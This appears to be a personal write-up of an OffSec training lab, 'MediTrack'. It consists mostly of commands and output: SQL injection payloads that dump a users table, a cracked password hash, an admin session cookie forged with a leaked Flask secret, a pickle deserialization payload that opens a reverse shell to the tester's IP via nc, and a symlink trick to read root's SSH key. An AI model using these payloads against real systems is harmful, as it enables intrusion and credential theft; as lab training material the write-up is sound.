OffSec · Lab
HardLinuxWebPrivilege EscalationPassword AttacksSQL

IP: 192.168.223.231

set ip 192.168.223.231
set url http://192.168.223.231

nmap basic

PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
9000/tcp open  cslistener

nmap services

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_  256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
3000/tcp open  http    Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=0cc91e9636b72fc8; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=a9WkRb5FdyqbS-PnOmUtckOHP7s6MTc4OTAyNTgzNDc0MTkwMjU2Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 10 Sep 2026 07:37:14 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" data-theme="gitea-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2Rldi5tZWRpdHJhY2subGFiLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vZGV2Lm1lZGl0cmFjay5sYWIvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=4f9285a98b84ac81; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=CUVCHTOHRz2cT1FUSzPyCRFUhkI6MTc4OTAyNTgzNDkwNDk2NjU4OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 10 Sep 2026 07:37:14 GMT
|_    Content-Length: 0
9000/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.1 Python/3.12.3
|_http-title: MediTrack - Patient Follow-Up System
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

http/3000

Powered by Gitea Version: 1.23.5

SCR-20260910-ixtf.png

Registerd

nrg : Password123!

http/9000

SCR-20260910-iycc.png

Registerd

nrg : Password123!

Possible SQLi

SCR-20260910-jjll.png

SCR-20260910-jjnh.png

No error on 8 columns.

SCR-20260910-jkhf.png

doctor_username=NiiMants3&issue=Fever" UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL -- -&notes=notes&date=2026-09-10

sqlite confirmed

doctor_username=NiiMants3&issue=Fever" UNION SELECT NULL,NULL,NULL,sqlite_version(),NULL,NULL,NULL,NULL -- -&notes=notes&date=2026-09-10

SCR-20260910-jlro.png

doctor_username=NiiMants3&issue=Fever" UNION SELECT 1,2,3,group_concat(name),5,6,7,8 FROM sqlite_master WHERE type='table'-- -&notes=notes&date=2026-09-10

SCR-20260910-jpog.png

doctor_username=NiiMants3&issue=Fever" UNION SELECT 1,2,3,sql,5,6,7,8 FROM sqlite_master WHERE name='users'-- -&notes=notes&date=2026-09-10

SCR-20260910-jqgb.png

doctor_username=NiiMants3&issue=Fever" UNION SELECT 1,2,3,group_concat(username||':'||password||':'||role),5,6,7,8 FROM users-- -&notes=notes&date=2026-09-10

SCR-20260910-jqzh.png

target:

meditrackDev:$2b$12$LhMGN0t3p427tn1zqvLBsOKNkQ9GjLKbzZczxiefi1OHP3r5X2pDG

SCR-20260910-jtzz.png

creds

meditrackDev : monkey1

login success on http/3000

SCR-20260910-juuc.png

app.secret._key in meditrack-repo / app.py

app.secret_key = "Th1s1sTh3Appliic4T1onSecr3t"

Signing a new token

┌──(root㉿cophkali)-[~/oscp/labs/meditrack]
└─# flask-unsign --unsign --cookie 'eyJfcGVybWFuZW50Ijp0cnVlLCJyb2xlIjoicGF0aWVudCIsInVzZXJuYW1lIjoibnJnIn0.aqJg4A.X5cLA849BDJ_taGyt4qbKQfB5uA' --secret 'Th1s1sTh3Appliic4T1onSecr3t'
[*] Session decodes to: {'_permanent': True, 'role': 'patient', 'username': 'nrg'}
[!] No wordlist selected, nor was a default wordlist found. Please specify one using the "--wordlist" argument, or install the optional wordlist module by running: pip install flask-unsign[wordlist]
──(root㉿cophkali)-[~/oscp/labs/meditrack]
└─# flask-unsign --sign --cookie "{'_permanent': True, 'role': 'admin', 'username': 'mcsam'}" --secret 'Th1s1sTh3Appliic4T1onSecr3t'
eyJfcGVybWFuZW50Ijp0cnVlLCJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6Im1jc2FtIn0.aqJvVA.vyoUSjozFXGMbgCHZWJ5BUb5M6g

Replace cookie with the new one

image.png

Go to

http://192.168.223.231:9000/admin/dashboard

SCR-20260910-jzas.png

Generating a malicious payload with python pickle

Payload

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.233 3000 >/tmp/f"
        return os.system, (cmd,)

# Create a malicious snapshot with the payload
snapshot = {
    'bookings': [Malicious()],
    'exported_by': 'nrg',
    'date': '2026-09-10'
}

# Serialize the object
malicious_serialized = pickle.dumps(snapshot)

# Write to a binary file
with open("payload.pkl", "wb") as f:
    f.write(malicious_serialized)

print("Malicious payload written to payload.pkl")
──(root㉿cophkali)-[~/oscp/labs/meditrack/files]
└─# python3 hack.py 
Malicious payload written to payload.pkl

Upload the payload but don’t forget the listener.

image.png

SCR-20260910-kbhf.png

PrivEsc

meditrack@MediTrack:/opt/meditrack$ sudo -l
Matching Defaults entries for meditrack on MediTrack:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset

User meditrack may run the following commands on MediTrack:
    (root) NOPASSWD: /opt/logreader/logreader
    
meditrack@MediTrack:/opt/meditrack$ sudo /opt/logreader/logreader
Error: Incorrect number of arguments.
Usage: logreader <filepath>
Description: Reads and prints the contents of a file with a .log extension.
Options:
  <filepath>    Path to the log file to read (must end with .log)
  -h, --help    Display this help screen
Examples:
  logreader /var/log/meditrack.log
Notes:
  - Only files ending in '.log' are allowed.
  - Use absolute paths for best results.

Exploit to root

Create a symlink

ln -s /root/.ssh/id_rsa fire.log

SCR-20260910-kgcl.png

┌──(root㉿cophkali)-[~/oscp/labs/meditrack/files]
└─# ssh -i root_id_rsa root@$IP
The authenticity of host '192.168.223.231 (192.168.223.231)' can't be established.
ED25519 key fingerprint is: SHA256:GYats4sApIm2CiXiv6CqklOr+LDIDCrer/01h6J9yFg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

root@MediTrack:~# whoami
root